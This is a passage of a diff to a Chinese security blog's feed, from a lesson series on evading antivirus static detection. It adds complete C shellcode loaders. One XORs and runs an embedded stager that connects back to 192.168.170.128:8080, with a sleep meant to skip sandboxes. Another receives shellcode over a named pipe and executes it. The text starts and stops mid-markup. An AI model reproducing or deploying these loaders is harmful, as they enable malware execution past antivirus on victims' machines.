x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 获取shellcode大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>shellcode_size <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* 增加异或代码 */</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>shellcode_size; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> buf[i] <span style="color:#f92672">^=</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">VirtualAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> NULL, // 基址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 800, // 大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> MEM_COMMIT, // 内存页状态 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PAGE_EXECUTE_READWRITE // 可读可写可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> shellcode <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#a6e22e">VirtualAlloc</span>( +</span></span><span style="display:flex;"><span> NULL, +</span></span><span style="display:flex;"><span> shellcode_size, +</span></span><span style="display:flex;"><span> MEM_COMMIT, +</span></span><span style="display:flex;"><span> PAGE_READWRITE <span style="color:#75715e">// 只申请可读可写 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将shellcode复制到可读可写的内存页中 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">CopyMemory</span>(shellcode,buf,shellcode_size); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">VirtualProtect</span>(shellcode,shellcode_size,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 等待几秒,兴许可以跳过某些沙盒呢? +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">2000</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)shellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); <span style="color:#75715e">// 一直等待线程执行结束 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/79c7e6cc-4f5f-11ec-83aa-00d861bf4abb.png" alt="2019-11-10-02-05-37"> + +</p>静态恶意代码逃逸(第二课)https://payloads.online/archivers/2019-11-10/2/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/2/<h2 id="0x01-关于windows操作系统内存">0x01 关于Windows操作系统内存</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>这里还是稍微展开介绍一下,Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。</p> <p>操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。</p> @@ -1754,7 +3406,57 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46 -</span></code></pr静态恶意代码逃逸(第五课)https://payloads.online/archivers/2019-11-10/5/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/5/<h2 id="0x01-真正意义上的分离">0x01 真正意义上的分离</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 入口函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc,TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#75715e">// shellcode长度 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwThreadId; <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; <span style="color:#75715e">// 线程句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">/* length: 800 bytes */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x60\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x50\x45\x4f\x78\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x4e\x4c\x4e\x4c\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 获取shellcode大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>shellcode_size <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">VirtualAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> NULL, // 基址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 800, // 大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> MEM_COMMIT, // 内存页状态 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PAGE_EXECUTE_READWRITE // 可读可写可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> shellcode <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#a6e22e">VirtualAlloc</span>( +</span></span><span style="display:flex;"><span> NULL, +</span></span><span style="display:flex;"><span> shellcode_size, +</span></span><span style="display:flex;"><span> MEM_COMMIT, +</span></span><span style="display:flex;"><span> PAGE_EXECUTE_READWRITE +</span></span><span style="display:flex;"><span> ); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将shellcode复制到可执行的内存页中 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">CopyMemory</span>(shellcode,buf,shellcode_size); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)shellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); <span style="color:#75715e">// 一直等待线程执行结束 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>编译成功后,运行:</p>静态恶意代码逃逸(第五课)https://payloads.online/archivers/2019-11-10/5/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/5/<h2 id="0x01-真正意义上的分离">0x01 真正意义上的分离</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>将上一课的代码分离开编译,然后通过管道传输,让进程通信。</p> <p> @@ -1832,18 +3534,88 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 -</span></code></pr静态恶意代码逃逸(第四课)https://payloads.online/archivers/2019-11-10/4/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/4/<h2 id="0x01-分离免杀">0x01 分离免杀</h2> -<p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> -<p>分离免杀:将恶意代码放置在程序本身之外的一种加载方式。</p> -<p>前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开</p> -<h2 id="0x02-管道">0x02 管道</h2> -<p>何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。</p> -<p>通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。</p> -<p>先展开本地管道来讲解:</p> -<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> -<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> -<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 -</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;intrin.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define BUFF_SIZE 1024 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>PTCHAR ptsPipeName <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\\\</span><span style="color:#e6db74">.</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">pipe</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">BadCodeTest&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc, TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hPipe; +</span></span><span style="display:flex;"><span> DWORD dwError; +</span></span><span style="display:flex;"><span> CHAR szBuffer[BUFF_SIZE]; +</span></span><span style="display:flex;"><span> DWORD dwLen; +</span></span><span style="display:flex;"><span> PCHAR pszShellcode <span style="color:#f92672">=</span> NULL; +</span></span><span style="display:flex;"><span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; +</span></span><span style="display:flex;"><span> DWORD dwThreadId; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipe <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateNamedPipe</span>( +</span></span><span style="display:flex;"><span> ptsPipeName, +</span></span><span style="display:flex;"><span> PIPE_ACCESS_INBOUND, +</span></span><span style="display:flex;"><span> PIPE_TYPE_BYTE<span style="color:#f92672">|</span> PIPE_WAIT, +</span></span><span style="display:flex;"><span> PIPE_UNLIMITED_INSTANCES, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipe <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> dwError <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[-]Create Pipe Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwError); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dwError; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ConnectNamedPipe</span>(hPipe,NULL) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Client Connected...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ReadFile</span>(hPipe,szBuffer,BUFF_SIZE,<span style="color:#f92672">&amp;</span>dwLen,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Get DATA Length : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwLen); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请内存页 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> pszShellcode <span style="color:#f92672">=</span> (PCHAR)<span style="color:#a6e22e">VirtualAlloc</span>(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 拷贝内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(pszShellcode,szBuffer,dwLen); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(DWORD i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span> dwLen; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">50</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_InterlockedXor8</span>(pszShellcode<span style="color:#f92672">+</span>i,<span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">VirtualProtect</span>(pszShellcode,dwLen,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 执行Shellcode +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)pszShellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p><strong>BadCodePipeClient</strong></p>静态恶意代码逃逸(第四课)https://payloads.online/archivers/2019-11-10/4/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/4/<h2 id="0x01-分离免杀">0x01 分离免杀</h2> +<p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +<p>分离免杀:将恶意代码放置在程序本身之外的一种加载方式。</p> +<p>前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开</p> +<h2 id="0x02-管道">0x02 管道</h2> +<p>何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。</p> +<p>通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。</p> +<p>先展开本地管道来讲解:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 @@ -1935,7 +3707,104 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">93 -</span></code></prDllMain与rundll32详解https://payloads.online/archivers/2019-10-02/1/Wed, 02 Oct 2019 00:00:00 +0000https://payloads.online/archivers/2019-10-02/1/<h2 id="0x00-dllmain">0x00 DllMain</h2> +</span></code></pre></td> +<td 